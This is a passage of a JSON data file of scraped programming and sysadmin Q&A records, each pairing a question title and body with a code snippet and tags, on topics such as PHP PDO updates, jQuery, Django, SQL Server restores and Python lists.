\nxmlns:wsp1_2=\"http://schemas.xmlsoap.org/ws/2004/09/policy\" \
nxmlns:wsam=\"http://www.w3.org/2007/05/addressing/metadata\" \
nxmlns:soap=\"http://schemas.xmlsoap.org/wsdl/soap/\"
\nxmlns:tns=\"http://planningservice.ohs.com/\"
\nxmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
\nxmlns:wsdl=\"http://schemas.xmlsoap.org/wsdl/\" xmlns:ns=\"http://docs.oasis-
open.org/wsn/t-1\" xmlns:ns1=\"http://www.isotc211.org/2005/gco\"
xmlns:ns2=\"http://www.isotc211.org/2005/gmd\"
xmlns:ns3=\"http://www.isotc211.org/2005/gsr\"
xmlns:ns4=\"http://www.isotc211.org/2005/gss\"
xmlns:ns5=\"http://www.isotc211.org/2005/gts\"
xmlns:ns6=\"http://www.opengis.net/gml/3.2\"
xmlns:ns7=\"http://www.opengis.net/ows/1.1\"
xmlns:ns8=\"http://www.opengis.net/sps/2.0\"
xmlns:ns9=\"http://www.opengis.net/swe/2.0\"
xmlns:ns10=\"http://www.opengis.net/swes/2.0\"
xmlns:ns11=\"http://www.w3.org/2005/08/addressing\" name=\"PlanningService\"
targetNamespace=\"http://planningservice.ohs.com/\">\n<wsdl:import
namespace=\"http://www.opengis.net/sps/2.0\"
location=\"http://schemas.opengis.net/sps/2.0/spsGetFeasibility.xsd\"/>\
n<wsdl:types>\n <xsd:schema>\n <xsd:import namespace=\"http://ps.ca\"/>\n
</xsd:schema>\n</wsdl:types>\n<wsdl:message name=\"GetFeasibility\">\n
<wsdl:part name=\"parameters\" type=\"ns8:GetFeasibilityType\"/>\n</wsdl:message>\
n<wsdl:message name=\"GetFeasibilityResponse\">\n <wsdl:part name=\"parameters\"
type=\"ns8:GetFeasibilityResponseType\"/>\n</wsdl:message>\n<wsdl:portType
name=\"PlanningService\">\n <wsdl:operation name=\"GetFeasibility\">\n
<wsdl:input message=\"tns:GetFeasibility\"
wsam:Action=\"http://planningservice.ohs.com/PlanningService/getFeasibility\"/>\n
<wsdl:output message=\"tns:GetFeasibilityResponse\"
wsam:Action=\"http://planningservice.ohs.com/PlanningService/getFeasibilityResponse
\"/>\n </wsdl:operation>\n</wsdl:portType>\n<wsdl:binding
name=\"PlanningSerivcePortBinding\" type=\"tns:PlanningService\">\n
<soap:binding style=\"document\"
transport=\"http://schemas.xmlsoap.org/soap/http\"/>\n <wsdl:operation
name=\"GetFeasibility\">\n <soap:operation soapAction=\"' '\"/>\n
<wsdl:input>\n <soap:body use=\"literal\"/>\n </wsdl:input>\n
<wsdl:output>\n <soap:body use=\"literal\"/>\n </wsdl:output>\n
</wsdl:operation>\n</wsdl:binding>\n<wsdl:service name=\"PlanningSerivce\">\n
<wsdl:port name=\"PlanningService\" binding=\"tns:PlanningSerivcePortBinding\">\n
<soap:address location=\"http://localhost:8080/PlanningService/\"/>\n
</wsdl:port>\n</wsdl:service>\n", "java web-services netbeans wsdl xmlspy"],
"3981810": ["UDPATE MySQL using PDO, prepared statements and substituting tokens
with bindParam; getting 'variables don't match tokens' error", "I am attempting to
UPDATE records within my MySQL database.\nI build the prepared statement using
arrays / loops:\n\nthen I prepare this statement:\n\nThen I bind each of the tokens
/ placeholders in the prepared statement to the values to be inserted using another
loop:\n\nwhere $values is an array of column headers in the database (therefore ':
$value' is a set of token names corresponding to them) and $variables is an array
of variables containing data to be stored.\nWhen I run this, I am given the error:\
n\nBut as you can see I'm forming them from arrays - I've done counts on the arrays
to ensure the elements match 1:1 and they do:\nFYI:\n\ngives: \n 7575\n(they
both have 75 elements in them)\nAny idea where I am going wrong?\n", "$sql
= \"UPDATE table01 SET \"; \n foreach($values as $value)\n {\n
$sql .=\"$value = :$value, \";\n }\n $sql = rtrim($sql,', '); \n
$sql .=\" WHERE id = '$id'\";\n", "php mysql sql arrays pdo"], "1536963":
["ASIFormDataRequest inside requestFinished method", "I use an
ASIFormDataRequest to log into the server, managing the response inside
requestFinished method. If the response is ok, I need to launch another request to
the server to download a JSON. Where should I manage the response (since I am
launching the second request from the requestFinished method...)? Should make the
second request synchronous? (if i am right, that would get the response from the
server without a requestFinished method)\nAny advise? Thank you.\n", "", "ios
asihttprequest"], "2970997": ["Reset images position with saved coordinates using
jQuery Draggable", "I implemented draggable image using jQuery-ui Draggable and
saved coordinates into database.\nNow I am getting coordinates and images url in
xml format. \nI want to reset the image position. where it was saved. \
n============= Here is source code:=============\n\n", "$.ajax({\n
type: \"GET\",\n url: \"devices.xml\",\n
dataType: \"xml\",\n success: function(xml) {\n $
(xml).find('device').each(function(){\n var idText = $
(this).attr('id');\n var longAddress = $
(this).find('longAddress').text();\n var imgSrc = $
(this).find('type').text();\n var xAxis = $(this).find('x-
axis').text();\n var yAxis = $(this).find('y-axis').text();\n\n
var oNewImg = document.createElement('img');\n oNewImg.id =
idText;\n oNewImg.src = imgSrc;
\n\n document.body.appendChild(oNewImg);\n\n
var originalLeft = parseInt($('#'+oNewImg.id).position().left);\n\n
$('#'+oNewImg.id).css('left', (xAxis) + 'px');\n $
('#'+oNewImg.id).css('top', (yAxis) + 'px');});\n", "jquery draggable"], "6007750":
["How do I find how much space TFS is using", "I'm tring to find out how much space
TFS is using. Is there a simple check free space command on TFS? \nAlso is there
a way to poll TFS for the amount of hard drive space left and see when large
changes or large amount of files have been added and by whom for a given week or
day?\n", "", "tfs2010 tfs2008 tfs-sdk"], "3345305": ["How to avoid specifying the
size of included graphic when the file has no extension?", "I'm rendering the
following code with xelatex:\n\nI've got the files 'lowres' and 'highres.png' in my
current directory:\n\nThe obvious difference between these files is the lack of
extension for 'lowres', so that's why I specify the type in the 'includegraphics'.\
nThe problem is, it looks like it is mandatory to specify the size when the file
hasn't got any extension (although we give the type as a parameter).\nThis
behaviour doesn't make sense to me, is there a way to get around it?\n", "\\
documentclass{article}\n\\usepackage[debugshow]{graphicx}\n\\begin{document}\n%%
This gives ! LaTeX Error: Cannot determine size of graphic in lowres (no size
specifed).\n\\includegraphics[type=png]{lowres}\n%% This works fine without
specified size.\n\\includegraphics{highres.png}\n\\end{document}\n", "graphics
xetex"], "5001065": ["Good practices for writing algorithms", "This is about how
effectively we can express an algorithm at hand. I need this for my undergraduate
teaching. \nI understand there is no such thing as standard way of writing a pseudo
code. Different authors follow different conventions. \nIt would be helpful if
people here point out, the way they follow and think the best one.\nIs there any
book that deals with this in a good detail?\n", "", "ds.algorithms soft-question
advice-request writing"], "3978146": ["Django model ManytoMany getters", "I wanted
to get a list of objects associated to model A by ManyToMany with model B, e.g.
diners (A) confirmed to attend a meal(B). But I'm not sure what getter I should
use. I actually wanted to do this to show the associated objects in the admin
panel. The method included beneath was one failed attempt I made.\n\nCan you help?\
nThanks\n", "class Meal(models.Model):\n diners = models.ManyToManyField(User,
through='Attendance', related_name=\"eating\", blank=True)\n\n def
diners(self):\n return self.eating\n", "django methods admin models
getter"], "2431030": ["C# - add 1 week to current date", "I've got something like
this In my code, And I need to add 1 week to it, like to become I tried to
convert it to int and then add it up, but there is a prolem when it's up to 30.\n\
nCan you tell me some clever way how to do it?\n\nThanks\n",
"DateTime.Now.ToString(\"dd.MM.yy\");", "c# datetime"], "36186": ["'object'
undeclared <first use in this function>", "I am using Winchain to develop on my
Windows 7 machine. Here is my code:\niPhoneTest.h\n\niPhoneTest.m\n\nmain.m\n\
nMakefile\n\nWhen I try to compile it with , I get \n\nCan anyone spot the
problem?\n", "#import <Foundation/Foundation.h>\n#import <UIKit/UIKit.h>\n\n\
n@interface iPhoneTest : UIApplication {\n UITextView *textview;\n UIView
*mainView;\n}\n\n@end\n", "iphone objective-c makefile toolchain"], "3924512":
["Can I back up Windows 7's backup settings?", "I use Windows 7 backup and am about
to reformat my PC. After I run Windows 7 backup which backs up my files to another
hard drive, I am going to reformat the main drive and reinstall Windows 7. I have
a complicated mapping of folders that I do and do not want Windows to back up and I
don't feel like redoing it after the reinstall. If at all possible, I'd like to
back up the backup settings so that I can apply them to the new installation. Is
this possible?\n", "", "windows-7 backup windows-7-backup"], "1005118": ["How can I
get an instance in StructureMap Registy constructor?", "How can I get an instance
of some type (registered in a different Registry) inside StructureMap Registy
constructor? I want to use such a code:\n\nIApplicationSettings is an interface to
application settings. The concrete type implementing this interface (currently
ConfigFileApplicationSettings class) is registered in another registry like this:\
n\nAnd both registries are registered in the Bootstrapper:\n\nWhen I try to get an
instance of IApplicationRegisty in registry constructor I've got an error (of
course). I don't completly understand how to use StructureMap the right way. May be
I should do the thing some different way. But anyway can I get an instance of some
type early registered in an Registry constructor?\n", " public
RepositoriesRegistry()\n {\n IApplicationSettings lApplicationSettings =\
n ObjectFactory.GetInstance<IApplicationSettings>();\n
Debug.Assert(lApplicationSettings != null);\n\n const string
cSupportedDevicesConnectionString =\n
\"metadata=res://*/Models.SupportedDevices.Database.SupportedDevicesModel.csdl|
res://*/Models.SupportedDevices.Database.SupportedDevicesModel.ssdl|res://*/
Models.SupportedDevices.Database.SupportedDevicesModel.msl;provider=System.Data.Sql
Client;provider connection string=\\\"{0}\\\"\";\n string
lSupportedDevicesConnectionString =\n
string.Format(cSupportedDevicesConnectionString, lDatabaseConnectionString);\n
SupportedDevicesEntities lSupportedDevicesEntities =\n new
SupportedDevicesEntities(lSupportedDevicesConnectionString);\n
ForRequestedType<SupportedDevicesEntities>().TheDefault.IsThis(\n
lSupportedDevicesEntities);\n
ForRequestedType<ISupportedDevicesRepository>().TheDefault.IsThis(\n new
SupportedDevicesRepository(lSupportedDevicesEntities));\n\n }\n", ".net
structuremap"], "2288277": ["Autocompletion when programming for openoffice", "This
may be a stupid question but is there any way to get autocompletion when
programming macros in StarBasic?\nI know there's a plugin for eclipse if you want
to program in java but I haven't been able to find any editor at all that supports
BASIC and autocompletion?\nIf there's no solution, is there a way to work around
this?\n", "", "autocomplete openoffice.org openoffice-basic"], "3133531": ["Scheme
cons problem creating a proper list", "I'm having trouble appending to a list in
this scheme function. \nThe function is meant to take in 2 arguments, and return a
list consisting of the 2nd elements the number of times specified in the 1st
element. For example, if you call your output should be . \nThe problem is when I
use , I get instead. As I understand it, I am appending to the end of the entire
list as an object each time, not the last element of it as I want to. I am unsure
of how to fix it. \nHere is my function, suggestions on how to cons to the last
element instead of the list as an object would be great. (or other suggestions if
that is not the only/real problem.)\n\n", "(make-list? 5 4)", "list scheme
racket"], "1496215": ["RAID Virtual Disk Configuration / Partitioning in Operating
System?", "I have 6 x 1TB SAS for my new server. I want to create 3 partitions: one
for OS, one for Virtual Machines, one for share data. There are 2 options for me:\
nOption A: Create 3 Virtual Disks in RAID Configuration Utility\nOption B: Create 3
Partitions during OS Installation\nGiven that the disks will run in RAID6, which
option is better?\n", "", "raid partition virtual-disk raid6"], "5001064": ["Cannot
see all available wireless networks?", "There are two wireless networks setup in my
office, a primary one and a backup. Plus there are few other wireless networks
nearby. However, Windows (XP SP3) has ceased to show other available wireless
networks when I am connected. I frequently have to switch networks every now and
then and for that I have to go to 's properties, change the order of networks and
the connection... to much time consuming. Can anyone tell me why I can't see all
available wireless network connections? Here are the screen
caps:\nView Available Wireless Networks Window\n\nWireless Network Connection
Properties -- Notice two networks that are available, up and running\n\n",
"Wireless Network Connection", "windows-xp networking wireless-networking
troubleshooting"], "37020": ["Dashboard widget: how to bind a list to a non-web XML
datasource", "I have an XML file located on my desktop that I would like to bind to
a dashboard widget list (tableview). Although I am able to bind this file if it's
within the widget's bundle folder, I am unable to bind the XML file to the list
externally. A modal dialog warning shows: \"try entering a path relative to your
application\"--yet this also does not seem to work. And yes, I made sure to check
the \"Allow external file access\" within the Widget Attributes panel.\n", "",
"widget datasource external dashboard dashcode"], "2431031": ["How can I install
VLC on RHEL 6.3?", "I'm having a problem installing VLC on Red hat 6.3\nWhen I try
to use \n\nall goes well until it shows me this in the end:\n\nError: Package: vlc-
2.0.3-6.el6.x86_64 (linuxtech-release)\n Requires: libminizip.so.1()
(64bit)\nError: Package: liblrdf-0.5.0-2.el6.x86_64 (linuxtech-release)\n
Requires: ladspa\nError: Package: libffado-2.1.0-0.8.20120325.svn2088.el6.x86_64
(linuxtech-release)\n Requires: libconfig++.so.8()(64bit)\n\nI'm
running on a 32-bit processor and I don't know what's wrong. \n", "yum install vlc\
n", "vlc redhat"], "273402": ["Move bootmgr from one hdd to another on dual boot",
"I've recently had problems with my new SSD and so think I'm going to have to send
it back. Basically sometimes it doesn't show up in BIOS and therefore isn't working
properly to say the least.\nBecause it was being so annoying I've just installed
another win8 on an existing HDD. I booted into this and it was fine, strangely my
ssd came back to life and everything could be seen in my HDD win8. (It seems to
sometimes want to exist to BIOS and windows and other times not).\nProblem now is
that the bootmgr stuff is on the SSD so when it doesn't work I can't get into my
HDD's windows 8 I just get the:\n\"please insert boot media into drive and press
any key to continue\"\nSo when I get the SSD recognised again I want to move the
bootmgr stuff to the HDD, how would I go about doing this?\nI know its something to
do with bcdedit but after that I don't know what to do.\nAny help would be great
thanks.\n", "", "windows-8 dual-boot bootmgr bcdedit"], "684983": ["same file in
static lib and project", "\nI have a static singleton, logger-class (if you like it
or not), that I use in all of my projects. \nI have made static library that is
also using that singleton, logger-class, let's say a half year ago. I made quit
some changes to the mentioned logger-class in the meantime, but I didn't update the
static lib. \nNow I started a new project that uses the lib and the latest(!)
logger-class. However I don't want to update the lib, because then I would have to
go through all my project and check if they are still working. \n\nSo my question
is: Can it cause a conflict, if I have two different versions of a class in my
static lib and my actual project, especially if its static stuff? And if so, can
that conflict be eliminated by using a namespace for the static lib-stuff? I hope
this is clear enough to understand...\nThanks in advance.\nEDIT:\nPlease let me
know if anything is unclear, which seems to be the case since I don't get any
answers.\n", "", "c++ version-control"], "4191999": ["Automating login to our own
OAuth application", "We have some web services with OAuth on them.\nI am required
to run some tests against them, preferably in an automated environment without
using a browser.\nThe problem is logging in.\nWithout using a browser, and with
using DotNetOpenAuth and setting the HttpContext.Current manually, I seem able to
do everything and get a request token and a verifier (I use a test username and
password).\nI believe the next stage is to get an authorising token. Unfortunatly,
no matter how I construct the request, I cannot get it to work.\nAt the moment,
using a WebConsumer (DotNetOpenAuth library) and calling
consumer.ProcessUserAuthorization() results in an error:\
nDotNetOpenAuth.OAuth.Messages.AuthorizedTokenRequest message: oauth_verifier\
nProbably the whole approach is wrong, so any help/advice would be useful.\
nThanks.\n", "", "c# .net oauth dotnetopenauth"], "5834245": ["Crop an image
(select a region) in Sencha Touch 2? Just like Jcrop", "This does exactly what I
need and works in mobile Safari: http://deepliquid.com/content/Jcrop_Manual.html\nI
need to do this in Sencha Touch 2\nI could roll my own from scratch or based on
Jcrop but my project's budget probably doesn't support that amount of time. So, I
guess the fastest route is to add jQuery to the ST2 project and hack in the use of
the plugin into one of the ST2 views. \nSo my question is, how should I load
jQuery\u00a0\u2013 right now I've got ST2 loading my JS files on demand (they're
not in the of index.html). \nOR\nCan you point me to a ST2 alternative to Jcrop?\
nThanks!\n", "", "sencha-touch-2 jcrop"], "3562432": ["Subsonic 3.0 and
SqlHierachyID", "I am having trouble with Subsonic 3.0 generating an object for a
table which contains the new HeirachyID datatype. From what I have found, there is
no corrosponding .Net type, and subsonic doesn't seem to know how to handle the
hierachyid data.\nError that is thrown:\n\nObject of type
'Microsoft.SqlServer.Types.SqlHierarchyId' cannot be converted to type
'System.String'.\n\nCode:\n\ntc.Categories.ToList() generates the error\
nAlternatively, I tried to get around this by writing a sproc to return the
hierachyid column as a string, and noticed SubSonic 3.0 sprocs are not strongly-
typed. or am I doing something wrong?\n", "foreach (MyDB.DataAccess.ThingCategory
tc in DataAccess.ThingCategory.Find(x => x.fk_Thing.Equals(thingId)))\n{\n
sb.AppendFormat(\"<{0}>{1}</{0}>\", wrapTag,
tc.Categories.ToList<DataAccess.Category>()[0].Name);\n}\n", "subsonic subsonic3"],
"257566": ["IE does not display a .NET Windows Form control", "I have an identical
asp.net application hosted on two computers, PC1 and PC3 on the intranet. The .NET
control is hosted using the object tag. The following three url when executed on
PC1 work properly:\nhttp://pc1/test/test.aspx\n(The other two urls have pc1
replaced with pc3 and localhost)\nAll three urls in IE v8 show the page with
the .NET control.\nBut the same urls do not work on PC3. They control is shown
with a small red X symbol.\nOn the second machine, the Fiddler view shows the .NET
dll is being downloaded properly, but the fusion log and IEHost log do not show
anything. The first machine fusion log and IEHost log show expected reporting.\
nThe IE on both machine are set to include all three urls above in the trusted
zone. The .NET2 administration trust for the trusted zone is set to FullTrust.
Additionally I have created code groups for pc1 and pc3 to provide FullTrust. \nWhy
does IE on second machine fail to show the .NET control? Also, why the no IEHost
and fusion logs are created?\n", "", ".net internet-explorer control fiddler"],
"3310565": ["JRuby with YAML", "When I use Rails with YAML I change boot.rb with \
n\nIt works fine with normal Ruby.\nWhen I transfer the application from Ruby to
JRuby, it doesn't work.\nWhere should I write these lines in JRuby?\n",
"require \"yaml\"\nYAML::ENGINE.yamler = \"syck\"\n", "ruby-on-rails ruby jruby
yaml syck"], "3582217": ["objectAtIndex:indexPath.row method always causes
exception in IOS", "Hi I always seem to get exception when I use objectAtInded
method to retrieve NSString from an array. I am reading data from a dictionary
which is in the \"PropertyList.plist\" file.My code is\n\nThe exception happens on
the method \"cellForRowAtIndexPath\" in the line \n\nThe error message is \n\
nTerminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-
[__NSCFDictionary objectAtIndex:]: unrecognized selector sent to instance
0x6832440\n\nThe plist file is \n\nWhere ever I use \"[nameSection
objectAtIndex:row];\" type of statement it always get exception.\n", "-
(void)viewDidLoad\n{\n [super viewDidLoad];\n NSString *path = [[NSBundle
mainBundle] pathForResource:@\"PropertyList\"\n
ofType:@\"plist\"];\n names = [[NSDictionary alloc]\n
initWithContentsOfFile:path];\n\n keys = [[[names allKeys]
sortedArrayUsingSelector:\n @selector(compare:)] retain];\n}\n\n\n-
(UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:
(NSIndexPath *)indexPath\n{\n NSUInteger section = [indexPath section];\n
NSUInteger row = [indexPath row];\n\n NSString *key = [keys
objectAtIndex:section];\n NSArray *nameSection = [names objectForKey:key];\n
static NSString *SectionsTableIdentifier = @\"SectionsTableIdentifier\";\n
UITableViewCell *cell = [tableView
dequeueReusableCellWithIdentifier:SectionsTableIdentifier];\n if(cell == nil)\n
{\n cell = [[[UITableViewCell alloc]\n
initWithStyle:UITableViewCellStyleDefault reuseIdentifier:SectionsTableIdentifier]
autorelease];\n }\n cell.textLabel.text = [nameSection objectAtIndex:row];\n
return cell;\n}\n", "ios xcode uitableview plist"], "4988243": ["Rip concert DVD to
MP3", "If I have a concert DVD\u2014that I own legitimately\u2014is there any way
to rip the tracks to MP3?\nThe end goal is to get the music onto my iPod and or
iPhone, and so if there are any workarounds\u2014short of re-buying the whole
concert on iTunes\u2014that would be cool too.\n", "", "dvd mp3 dvd-burning"],
"5976273": ["Vista Home mouse support in HyperV", "according to the Microsoft
website:\n\nSupported Client Operating Systems\nWindows Vista x86 (VMs
configured with 1- or 2-virtual processors SMP only)\nWindows Vista Business x86
Edition with Service Pack 1 \nWindows Vista Enterprise x86 Edition with Service
Pack 1\nWindows Vista Ultimate x86 Edition with Service Pack 1\n\nDoes anybody know
if I can get mouse integration support (and all Integration Services' drivers) in
Hyper V for Vista Home? I am using Vista Home, because that is what the OEM license
on this machine is for. Why would Microsoft limit the support to non-Home
editions? Is Hyper-V not to be used for testing? \nI want to run 64bit Windows
2008 as a Development Workstation and have a 32bit OS as a VM for those
programs/drivers that do not like 64bit. \nUsing remote desktop instead of the
Virtual Machine Connection software works, but that means the network adapter is
the \"legacy\" mode, which may or may not be an issue later.\nThanks for your
time.\n", "", "windows virtual-machine"], "5094979": ["Start process in emacs lisp
that continues after lisp program ends", "How can I start off a process in emacs
lisp that will continue running after the emacs lisp program ends? I'm writing a
utility script that should start an interactive GUI program and exit.\nThanks in
advance.\nEdit: I guess I'm looking for the emacs lisp equivalent of this C++
code.\n\n", "#include <cstdlib>\n#include <sys/types.h>\n#include <unistd.h>\n\nint
main() {\n using namespace std;\n\n pid_t p = fork();\n if (p == 0) {\n
// child process\n execl(\"process_to_run\", \"process_to_run\", nullptr);\n
} else {\n // stuff for parent to do\n }\n\n return 0;\n}\n", "emacs
elisp"], "3153681": ["jQuery: How to add and handle the beforeChange event to input
element?", "I have read all the official documentation of jQuery 1.7.2, but I
cannot find any detail about the 'beforechange' event (or something like that)
which help me control some rules before allowing the element to change its value.
Is there any plugins provide this handler?\nThank you so much!\n", "", "jquery
jquery-plugins jquery-events"], "5944570": ["Why isn't my Route.Ignore working on
this static file in my ASP.NET MVC application?", "Background\nI have a PDF file
located (under my Project) in an Assets > Documents folder:\n\nWhen my application
gets deployed, it gets deployed to a particular folder on the domain. For example,
http://www.domain.com/MyAppFolder. I want to be able to access this PDF file by
linking to
http://www.domain.com/MyAppFolder/Assets/Documents/EZTrac_UserGuide_NewSys.pdf\
nProblem\nI can't seem to get the routing correct for this, as it keeps trying to
route this request to a controller. Here is the modification I made to the
routing:\n\nBut this is the result that I get:\n\nThe IControllerFactory\n
'EZTrac.DependencyResolution.ControllerFactory'\n did not return a controller for
a\n controller named 'Assets'.\n\n",
"routes.IgnoreRoute(\"MyAppFolder/Assets/Documents/EZTrac_UserGuide_NewSys.pdf\");\
n", "c# asp.net-mvc asp.net-mvc-routing"], "335424": ["How to vertically align a
logo on a mobile webpage", "I am trying to vertically align a coming soon logo, but
not having any luck.\nMy code is below.\n\nAny feedback would be appreciated.\n",
"html {width:100%;height:100%;background:url(images/bg.jpg) repeat
#a3a4a6;}\nbody {width:100%;height:100%;margin:auto;padding:0px;font-
family:Arial, Helvetica, sans-serif;font-size:14px;color:#423932;overflow:hidden}\
n#container {width:100%;height:100%;margin:auto;background:url(images/top_bg.jpg)
no-repeat top center;vertical-align:middle;}\n#logo
{margin:auto;background:url(images/logo.png) no-repeat top center; line-
height:50px;}\n", "css mobile css3 vertical-alignment"], "2170154": ["How to get
Login Activity only once when i runned for first time and next time differnt
activities should come", "When i run application,Login Activity should come only
once for first time and next time ,when i open two different Activities should
come based on button click in Login Activity.\nIn login activity i kept two radio
buttons if i enable first radio button next time when i opened it should show main2
layout and if i enabled second radio button it should show main3 layout.\n\n}\nIn
this example when i am running it is getting force closed and showing error in the
line button.setonclicklistner.please suggest me how to solve this issue.\n", "
public class Demo1 extends Activity {\n Button b1,b2;\n int count=0;\
n public void onCreate(Bundle savedInstanceState) {\n
super.onCreate(savedInstanceState);\n\n SharedPreferences settings =
this.getSharedPreferences(\"MyApp\",0);\n boolean
firstrun=settings.getBoolean(\"firstrun\",true);\n if (firstrun) {\n
SharedPreferences.Editor e = settings.edit();\n
e.putBoolean(\"firstrun\",false);\n e.commit();\n\n\n
setContentView(R.layout.main1);\n }\n else{\n test();\n }\n
b1=(Button)findViewById(R.id.button1);\n
b2=(Button)findViewById(R.id.button2);\n b1.setOnClickListener(new
OnClickListener() {\n\n public void onClick(View v) {\n // TODO
Auto-generated method stub\n count=1;\n Intent intent = new
Intent(Demo1.this, ButtonActivate1.class);\n startActivity(intent);\n
}\n });\n b2.setOnClickListener(new OnClickListener() {\n\n
@Override\n public void onClick(View v) {\n count=2;\n
// TODO Auto-generated method stub\n Intent intent = new
Intent(Demo1.this, ButtonActivate1.class);\n startActivity(intent);\n
}\n });\n\n\n\n\n }\nprivate void test() {\n // TODO Auto-generated method
stub\n if(count==1)\n {\n setContentView(R.layout.main2);\n }\n
if(count==2)\n {\n setContentView(R.layout.main3);\n }\n}\n", "android
android-emulator"], "4616840": ["SQL Server 2012 automated restore with SQL Server
Agent", "I'm using these two scripts to back up from a database and restore
the .bak file in a different one.\n\nWhen I run these scripts manually, they work
fine. However, when I try to automate them and run them on a job with a schedule
using SQL Server Agent, I get a message saying that the RESTORE job didn't work
(the automated back up is working fine!).\nI'm using SQL Server 2012 and I'm
running these scripts using the master user.\nCould you help me? I'm stuck on it it
makes already some days.\nThank you\n", "BACKUP DATABASE [CCC] TO DISK = N'C:\\
Backup DB\\CCC.bak' WITH NOFORMAT, INIT, NAME = N'CCC-Full Database Backup', SKIP,
NOREWIND, NOUNLOAD, STATS = 10\nGO\n\nRESTORE DATABASE [CCC Restore Tests] FROM
DISK = N'C:\\Backup DB\\CCC.bak' WITH FILE = 1,\nMOVE N'Coletivo' TO N'C:\\Program
Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\CCC Restore
Tests.mdf',\nMOVE N'Coletivo_log' TO N'C:\\Program Files\\Microsoft SQL Server\\
MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\CCC Restore Tests_log.ldf', NOUNLOAD,
REPLACE, STATS = 10\nGO\n", "sql-server-2012 restore sql-server-agent"],
"5001062": ["Two dimensional array in python", "I want to know how to declare a two
dimensional array in Python.\n\nThe first two assignments work fine. But when I try
to do, arr[1].append(\"bb1\"), I get the following error,\nIndexError: list index
out of range.\nAm I doing anything silly in trying to declare the 2-D array\
n[edit]:\nbut i do not know the no. of elements in the array (both rows and
columns). \n", "arr = [[]]\n\narr[0].append(\"aa1\")\narr[0].append(\"aa2\")\
narr[1].append(\"bb1\")\narr[1].append(\"bb2\")\narr[1].append(\"bb3\")\n", "python
multidimensional-array"], "2465292": ["scrollTo: Getting button images to scrollTo
divs", "I've not found an answer really specific to my case, which I would imagine
is common. I'm looking to add the scrollTo effect to my webpage using jquery (or
javascript). I still don't know what is the easiest way granted I've not gotten
anything to work. :(\nI have a single vertical page. Navigation is on the bottom of
each div wrapper. I'd like my button areas to scroll to the divs. As of now, I've
styled the buttons to link to the Divs. That's perfect, except, I need to add the
animation.\nYou can have a look at my test page here: my site\nI've tried scrollTo,
but each of my buttons links to a specific div. Not sure how to modify the plugin
to work for me.\nI think the next best solution is inserting javascript that
animates all links in a window? Definitely don't know where to find that code or
how to modify it for my case.\nThanks in advance everyone, and I look forward to a
solution from what seems to be a very vibrant community.\n", "", "javascript jquery
scrolling navigation scrollto"], "4726002": ["Webservice standards and DTDs",
"While brainstorming about six years ago, I had what I thought was a great idea: in
the future there could be webservice standards and DTDs that effectively turn the
web into a decentralized knowledgebase. I listed several areas where I thought
this could be applied, one of which was:\n\nFor making data avail. directly from a
business's website: open hours, locations, and contact phone numbers. Suggest a web
service standard by which businesses have a standard URL extended off the main
(base) URL for there website, at which is located a webservice. That webservice as
well has a standardized set of services for downloading a list of their locations,
contact telephone numbers, and business hours.\n\nIt's interesting looking back at
these notes now since this is not how things have evolved. Instead of businesses
putting this information on only their website then letting any search engine or
other data aggregator to crawl it, they are updating it separately on their
website, their Facebook page, and Google Maps. Facebook and Google Maps, due to
their popularity, have become the solution
to the problem I though my idea would solve.\nIs the way things are better than
the way I thought they could be? If so then why doesn't my idea fit the reality?
If not then what's holding my idea back from being realized?\n", "", "facebook web-
services google-maps standards dtd"], "2741138": ["Streaming sound to a server and
then to a hifi over wi-fi - possible?", "I don't know if what I want is
possible/feasible but I thought I'd ask it anyways!\nAt the moment, I have a laptop
(running MacOS X - it's a MacBook Pro) and I connect it to a Hi-fi via a standard
line-in/headphones cable. However, I often take my laptop around my room so it's
not always near my hi-fi. However, I have a server computer (running Ubuntu Server
10.10) which IS always next to my hi-fi. I was wondering if there's a way to stream
the sound from my laptop over wifi, to my server which would output the sound
through my hi-fi using the headphones cable?\nHopefully that's written well enough
to be intelligible!\nThanks,\n\nJavawag\n\n", "", "wireless-networking audio
music"], "2389929": ["How to pause deadlocked program and examine stack trace of
each thread (VS, C#)?", "I've reproduced the Windows Form application Locked Up
article. It is for Visual Studio 2008 but I followed it in VS2010 \nThe follow-up
article Lock Up Unlocked tells: \n\n\"If you run it and click the button a few
times rapidly, the\n application stops responding\"\n\nPretty dead... \n\n\"Then,
if you pause the program and examine the stack trace of each\n thread, you
find...\"\n\nHow do I pause the program and examine stack trace of each thread in
Visual Studio (preferably 2010, I hope it is the same in others)? \n", "", "c#
multithreading visual-studio debugging deadlock"], "4004906": ["In List of Dicts,
find min() value of a common Dict field", "I have a list of dicts like so:\n\nI
want to find the min() and max() prices. Now, I can sort this easily enough using a
key with a lambda expression (as found in another SO article), so if there is no
other way I'm not stuck. However, from what I've seen there is almost always a
direct way in Python, so this is an opportunity for me to learn a bit more.\nTIA,\
nHank Fay \n", "[{'price': 99, 'barcode': '2342355'}, {'price': 88, 'barcode':
'2345566'}]\n", "python list dictionary max min"], "1848184": ["Search engines
(SEO): do they see information if it appended with javascript?", "I mean such
situation. When page loads (before state):\n\nSo, do they see that ? Very
interesting.\nThanks in advance!\n", "$(document).ready", "javascript jquery google
seo search-engine"], "4437781": ["Inserting variables into a query string - it
won't work!", "Basically i have a query string that when i hardcode in the
